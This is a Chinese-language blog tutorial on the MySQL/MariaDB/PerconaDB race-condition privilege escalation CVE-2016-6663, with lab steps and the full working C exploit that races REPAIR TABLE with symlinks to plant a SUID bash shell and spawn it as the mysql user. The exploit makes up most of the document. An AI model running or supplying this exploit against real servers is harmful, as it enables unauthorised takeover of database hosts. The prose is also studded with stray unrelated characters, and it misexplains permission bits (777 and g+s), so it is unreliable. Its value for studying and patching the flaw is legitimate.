mysql CVE-2016-6663 條件競爭漏洞提權詳情與POC

MySQL凶朗、 MariaDBPerconaDB數(shù)據庫中發(fā)現(xiàn)條件競爭漏洞在受影響版本中漂辐,用戶可以使用低權限的數(shù)據庫用戶(例如:只有查詢或創(chuàng)建權限的用戶)提升到數(shù)據庫系統(tǒng)用戶(Mysql)。

漏洞危害

MariaDBPerconaDB都屬于MySQL的分支窿克,是全球使用最廣泛的數(shù)據庫之一骏庸,特別是在Web端。漏洞危害極大年叮,一旦惡意訪問者成功利用提權漏洞具被,將對數(shù)據庫的數(shù)據造成不可估量危害。

漏洞范圍

漏洞范圍

實驗環(huán)境

  • 操作機Kali Linux

實驗工具

  • mysql-privesc-race:這個文件是本次漏洞試驗的POC只损,我們將使用本文件驗證漏洞

實驗步驟

本實驗分為兩步一姿,其中第一步了解漏洞原理,第二步使用POC證明漏洞的存在

步驟1: 漏洞成因分析

  • 本步驟又分為四小步:

  • 第一步跃惫,啟動mysql叮叹。

  • 第二步,創(chuàng)建文件夾辈挂,并通過mysql把臨時數(shù)據儲存在我們創(chuàng)建的文件夾衬横。

  • 第三步,修改文件夾屬性终蒂,再次通過mysql寫入數(shù)據

  • 第四步蜂林,對比兩次寫入的數(shù)據遥诉,分析漏洞成因

  • 第一步

啟動mysql數(shù)據庫:

使用命令

service mysql start   //啟動mysql服務
su user

mysql已經啟動成功

  • 第二步

現(xiàn)在查看當前用戶權限,以便于后期區(qū)分權限噪叙。使用whoami命令矮锈,可以查看當前用戶:

Alt text

可以看到當前是user賬戶。

接下來創(chuàng)建文件夾,因為我們要將數(shù)據庫的數(shù)據指向到我們創(chuàng)建的文件夾中睁蕾,這樣才有了利用的可能苞笨。

然后使用命令:

mkdir /tmp/nice

mkdir是創(chuàng)建文件夾的意思,使用上述命令子眶,可以在tmp目錄下創(chuàng)建nice文件夾瀑凝。

Alt text

接下來使用命令:

chmod 777 /tmp/nice/

這條命令的意思是:將此文件夾的權限設置為777

在linux中權限設置很嚴謹,我們設置為777臭杰,是為了在實驗中防止某些文件不能寫入粤咪。

Alt text

那么777是什么權限呢?777就代表最高的權限渴杆。

第一個數(shù)字代表文件所屬者的權限 第二個數(shù)字代表文件所屬者所在組的權限 第三個數(shù)字代表其它用戶的權限寥枝。

也就是:7=4+2+1

4:執(zhí)行時設置用戶ID,用于授權給基于文件屬主的進程磁奖,而不是給創(chuàng)建此進程的用戶囊拜。 2:執(zhí)行時設置用戶組ID,用于授權給基于文件所在組的進程比搭,而不是基于創(chuàng)建此進程的用戶冠跷。 1:設置粘著位。

再使用命令:

ls -ld

這條命令的意思是列出詳細的目錄列表敢辩,并且僅列出目錄

Alt text

我們可以看到蔽莱,這個文件夾屬于user,也就是我們當前的用戶戚长。

現(xiàn)在已經創(chuàng)建了文件夾盗冷,接下來我們登錄數(shù)據庫,創(chuàng)建一個表同廉,使其產生臨時數(shù)據仪糖。

使用命令:

mysql -utest -p1234

這條命令可以連接到數(shù)據庫,其中-u后面輸入賬號迫肖,-p后面輸入密碼锅劝。

Alt text

可以看到已經成功的連接到了數(shù)據庫。

接下來我們使用Sql語句來添加數(shù)據:

show databases; //查看當前數(shù)據庫
use test;  //用到test數(shù)據庫
show tables; //查看test數(shù)據庫中的表
CREATE TABLE JG1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/nice';
    //創(chuàng)建一個名為JG1的表蟆湖,并使用MyISAM引擎故爵,將數(shù)據儲存在/tmp/nice目錄。
show tables; //查看test數(shù)據庫中的表

Alt text

我們已經創(chuàng)建了一個表隅津,名為JG1诬垂,并將它的數(shù)據儲存在/tmp/nice目錄【⑹遥現(xiàn)在我們去查看nice目錄:

exit;   //退出Mysql系統(tǒng)
cd /tmp/nice/ //進入nice目錄
ls -l    //查看當前目錄下文件詳細信息

Alt text
  • 第三步:

下面修改文件夾的屬性:

chmod g+s /tmp/nice/   //nice文件夾下所建文件的所屬組都會變成和nice一樣

其中 g的意思是:任何用戶在此目錄下創(chuàng)建的文件都具有和該目錄所屬的組相同的組 s:該位可以理解為防刪除位. 一個文件是否可以被某用戶刪除, 主要取決于

該文件所屬的組是否對該用戶具有寫權限. 如果沒有寫權限, 則這個目錄下的所有文件都不能被刪除, 同時也不能添加新的文件. 如果希望用戶能夠添加文件但同時不能刪除文件, 則可以對文件使用sticky bit位. 設置該位后, 就算用戶對目錄具有寫權限, 也不能刪除該文件。

Alt text

接下來我們寫入數(shù)據:

show databases; //查看當前數(shù)據庫
use test;  //用到test數(shù)據庫
show tables; //查看test數(shù)據庫中的表
CREATE TABLE JG2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/nice';
    //創(chuàng)建一個名為JG2的表结窘,并使用MyISAM引擎很洋,將數(shù)據儲存在/tmp/nice目錄。
show tables; //查看test數(shù)據庫中的表

Alt text

這樣一來隧枫,nice文件夾中的文件喉磁,就屬于我們當前的user組了,我們也就有了寫的權限,漏洞也就這樣產生了,我們再通過構建POC,就可以驗證漏洞的存在了。

第四步:

這時候再查看nice文件夾:

exit;
cd /tmp/nice/
ls -l

Alt text

可以看到固额,本來mysql的臨時文件應該是屬于mysql組的,但通過我們修改其文件夾屬性,在加上mysql執(zhí)行了不安全的臨時文件創(chuàng)建绽昼,就導致臨時文件屬于user組,對其也就有了操作的權限派草,漏洞就這樣產生了

第二步:使用POC驗證漏洞

  • 本步驟將使用POC驗證漏洞

我們首先嘗試使用普通用戶搀缠,進入mysql的數(shù)據庫存放處/var/lib/mysql/

Alt text

可以看到,我們并沒有權限進入文件夾近迁。

接下來執(zhí)行POC進行漏洞驗證艺普,首先進入POC所在文件夾:

cd /home   //進入home目錄
ls     //查看當前目錄文件

Alt text

其中mysql-privesc-race就是本次的POC,接下來要執(zhí)行它:

./mysql-privesc-race test 1234 localhost test

其中鉴竭,./代表執(zhí)行當前目錄下mysql-privesc-race文件的意思歧譬,后面的test和1234,為低權限用戶的賬號密碼搏存,localhost則代表本地ip的意思瑰步,最后的test代表當前test用戶的數(shù)據庫。

Poc執(zhí)行時璧眠,嘗試次數(shù)具有隨機性缩焦,所以需等待一段時間,請耐心等候~~

Alt text

如圖责静,我們已經提升到mysql權限袁滥,這樣就可以對mysql的整個庫進行控制了。

現(xiàn)在再次進入/var/lib/myql文件夾灾螃,看能否進入成功题翻。

Alt text

可以看到,成功的進入腰鬼,并對mysql下所有數(shù)據庫具有控制權嵌赠。

到這里也就達到了提權的目的塑荒。

編譯exp:
如果編譯失敗可能是缺少mysql庫,使用sudo apt-get install libmysqld-dev安裝
若需指定mysqlclient動態(tài)鏈接庫路徑猾普,可加上-L參數(shù)如-L/usr/lib64/mysql
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

POC:

/*
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)

CVE-2016-6663 / OCVE-2016-5616

Discovered/Coded by:

Dawid Golunski

dawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.com


Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

Note:
* On RedHat-based systems you might need to change /tmp to another public directory
在基于redhat的系統(tǒng)上袜炕,你可能需要將/tmp目錄改為其他的目錄如/uploads

* For testing purposes only. Do no harm.  

Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html

*/


#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>


#define EXP_PATH          "/tmp/mysql_privesc_exploit"
#define EXP_DIRN          "mysql_privesc_exploit"
#define MYSQL_TAB_FILE    EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE   EXP_PATH "/exploit_table.TMD"

#define SUID_SHELL        EXP_PATH "/mysql_suid_shell.MYD"

#define MAX_DELAY 1000    // can be used in the race to adjust the timing if necessary

MYSQL *conn;          // DB handles
MYSQL_RES *res;
MYSQL_ROW row;

unsigned long cnt;


void intro() {

printf( 
        "\033[94m\n"
        "MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
        "mysql-privesc-race.c (ver. 1.0)\n\n"
        "CVE-2016-6663 / OCVE-2016-5616\n\n"
        "For testing purposes only. Do no harm.\n\n"
    "Discovered/Coded by:\n\n"
    "Dawid Golunski \n"
    "http://legalhackers.com"
        "\033[0m\n\n");

}

void usage(char *argv0) {
    intro();
    printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}

void mysql_cmd(char *sql_cmd, int silent) {
    
    if (!silent) {
        printf("%s \n", sql_cmd);
    }
    if (mysql_query(conn, sql_cmd)) {
        fprintf(stderr, "%s\n", mysql_error(conn));
        exit(1);
    }
    res = mysql_store_result(conn);
    if (res>0) mysql_free_result(res);

}


int main(int argc,char **argv)
{

    int randomnum = 0;
    int io_notified = 0;
    int myd_handle;
    int wpid;
    int is_shell_suid=0;
    pid_t pid;
    int status;
    struct stat st;
    /* io notify */
    int fd;
    int ret;
    char buf[4096] __attribute__((aligned(8)));
    int num_read;
    struct inotify_event *event;
    /* credentials */
    char *user     = argv[1];
    char *password = argv[2];
    char *db_host  = argv[3];
    char *database = argv[4];


    // Disable buffering of stdout
    setvbuf(stdout, NULL, _IONBF, 0);

    // Get the params
    if (argc!=5) {
    usage(argv[0]);
    exit(1);
    } 
    intro();
    // Show initial privileges
    printf("\n[+] Starting the exploit as: \n");
    system("id");

    // Connect to the database server with provided credentials
    // 連接數(shù)據庫
    printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
    conn = mysql_init(NULL);
    if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
        fprintf(stderr, "%s\n", mysql_error(conn));
        exit(1);
    }

    // Prepare tmp dir
    // 新建目錄/tmp/mysql_privesc_exploit,并未該目錄設置SGID
    printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
    umask(000);
    system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
    system("chmod g+s /tmp/" EXP_DIRN );

    // Prepare exploit tables :)
    // 新建兩個表exploit_table和mysql_suid_shell
    printf("\n[+] Creating mysql tables \n\n");
    mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
    mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
    mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
    mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);

    // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
    // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
    // 拷貝/bin/bash到mysql_suid_shell.MYD
    printf("\n[+] Copying bash into the mysql_suid_shell table.\n    After the exploitation the following file/table will be assigned SUID and executable bits : \n");
    system("cp /bin/bash " SUID_SHELL);
    system("ls -l " SUID_SHELL);

    // Use inotify to get the timing right
    fd = inotify_init();
    if (fd < 0) {
        printf("failed to inotify_init\n");
        return -1;
    }
    ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);


    /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */

    printf("\n[+] Entering the race loop... Hang in there...\n");
    // 判斷mysql_suid_shell.MYD是否被設置了suid
    while ( is_shell_suid != 1 ) {

        cnt++;
    if ( (cnt % 100) == 0 ) {
        printf("->");
        //fflush(stdout);   
    }

        /* Create empty file , remove if already exists */
        // 刪除exploit_table.TMD
        unlink(MYSQL_TEMP_FILE);
        // 刪除exploit_table.MYD
        unlink(MYSQL_TAB_FILE);
    mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
    mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);

    /* random num if needed */
        srand ( time(NULL) );
        randomnum = ( rand() % MAX_DELAY );

        // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
        // 替換exploit_table.tmd為符號鏈接
        pid = fork();
        if (pid < 0) {
            fprintf(stderr, "Fork failed :(\n");
        }

        /* Child process - executes REPAIR TABLE  SQL statement */
        // 子進程執(zhí)行REPAIR操作, 該操作會生成一個TMD文件
        if (pid == 0) {
            usleep(500);
            unlink(MYSQL_TEMP_FILE);
        mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
            // child stops here
            exit(0);
        }
        // 父進程將exploit_table.tmd替換為符號鏈接
        /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
        if (pid > 0 ) {
            io_notified = 0;

            while (1) {
                int processed = 0;
                ret = read(fd, buf, sizeof(buf));
                if (ret < 0) {
                    break;
                }
                while (processed < ret) {
                    event = (struct inotify_event *)(buf + processed);
                    if (event->mask & IN_CLOSE) {
                        if (!strcmp(event->name, "exploit_table.TMD")) {
                            //usleep(randomnum);

                // Set the .MYD permissions to suid+exec before they get copied to the .TMD file 
                // 將MYD的權限設置為04777(suid+exec)
                // 刪除mysql建立的exploit_table.MYD
                unlink(MYSQL_TAB_FILE);
                // 以attacker身份新建exploit_table.MYD
                myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
                close(myd_handle);
                // 將MYD權限改為04777
                chmod(MYSQL_TAB_FILE, 04777);
                // 將exploit_table.TMD換為符號鏈接初家,指向mysql_suid_shell.TMD
                // Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
                            unlink(MYSQL_TEMP_FILE);
                            symlink(SUID_SHELL, MYSQL_TEMP_FILE);
                            io_notified=1;
                        }
                    }
                    processed += sizeof(struct inotify_event);
                }
                if (io_notified) {
                    break;
                }
            }


            waitpid(pid, &status, 0);
        }

    // Check if SUID bit was set at the end of this attempt
        if ( lstat(SUID_SHELL, &st) == 0 ) {
        if (st.st_mode & S_ISUID) {
        is_shell_suid = 1;
        }
        } 

    }

    printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
    system("ls -l " SUID_SHELL);

    printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n    Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
    //啟動bash shell,因為設置了SUID偎窘,所以會獲得mysql權限
    system(SUID_SHELL " -p -i ");
    //system(SUID_SHELL " -p -c '/bin/bash -i -p'");

    /* close MySQL connection and exit */
    printf("\n[+] Job done. Exiting\n\n");
    mysql_close(conn);
    return 0;

}
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市溜在,隨后出現(xiàn)的幾起案子陌知,更是在濱河造成了極大的恐慌,老刑警劉巖掖肋,帶你破解...
    沈念sama閱讀 211,042評論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件仆葡,死亡現(xiàn)場離奇詭異,居然都是意外死亡志笼,警方通過查閱死者的電腦和手機沿盅,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 89,996評論 2 384
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來纫溃,“玉大人腰涧,你說我怎么就攤上這事∥珊疲” “怎么了窖铡?”我有些...
    開封第一講書人閱讀 156,674評論 0 345
  • 文/不壞的土叔 我叫張陵,是天一觀的道長坊谁。 經常有香客問我费彼,道長,這世上最難降的妖魔是什么口芍? 我笑而不...
    開封第一講書人閱讀 56,340評論 1 283
  • 正文 為了忘掉前任箍铲,我火速辦了婚禮,結果婚禮上阶界,老公的妹妹穿的比我還像新娘虹钮。我一直安慰自己,他們只是感情好膘融,可當我...
    茶點故事閱讀 65,404評論 5 384
  • 文/花漫 我一把揭開白布芙粱。 她就那樣靜靜地躺著,像睡著了一般氧映。 火紅的嫁衣襯著肌膚如雪春畔。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,749評論 1 289
  • 那天,我揣著相機與錄音律姨,去河邊找鬼振峻。 笑死,一個胖子當著我的面吹牛择份,可吹牛的內容都是我干的扣孟。 我是一名探鬼主播,決...
    沈念sama閱讀 38,902評論 3 405
  • 文/蒼蘭香墨 我猛地睜開眼荣赶,長吁一口氣:“原來是場噩夢啊……” “哼凤价!你這毒婦竟也來了?” 一聲冷哼從身側響起拔创,我...
    開封第一講書人閱讀 37,662評論 0 266
  • 序言:老撾萬榮一對情侶失蹤利诺,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后剩燥,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體慢逾,經...
    沈念sama閱讀 44,110評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 36,451評論 2 325
  • 正文 我和宋清朗相戀三年灭红,在試婚紗的時候發(fā)現(xiàn)自己被綠了侣滩。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,577評論 1 340
  • 序言:一個原本活蹦亂跳的男人離奇死亡变擒,死狀恐怖胜卤,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情赁项,我是刑警寧澤,帶...
    沈念sama閱讀 34,258評論 4 328
  • 正文 年R本政府宣布澈段,位于F島的核電站悠菜,受9級特大地震影響,放射性物質發(fā)生泄漏败富。R本人自食惡果不足惜悔醋,卻給世界環(huán)境...
    茶點故事閱讀 39,848評論 3 312
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望兽叮。 院中可真熱鬧芬骄,春花似錦、人聲如沸鹦聪。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,726評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽泽本。三九已至淘太,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背蒲牧。 一陣腳步聲響...
    開封第一講書人閱讀 31,952評論 1 264
  • 我被黑心中介騙來泰國打工撇贺, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人冰抢。 一個月前我還...
    沈念sama閱讀 46,271評論 2 360
  • 正文 我出身青樓松嘶,卻偏偏與公主長得像,于是被迫代替她去往敵國和親挎扰。 傳聞我的和親對象是個殘疾皇子翠订,可洞房花燭夜當晚...
    茶點故事閱讀 43,452評論 2 348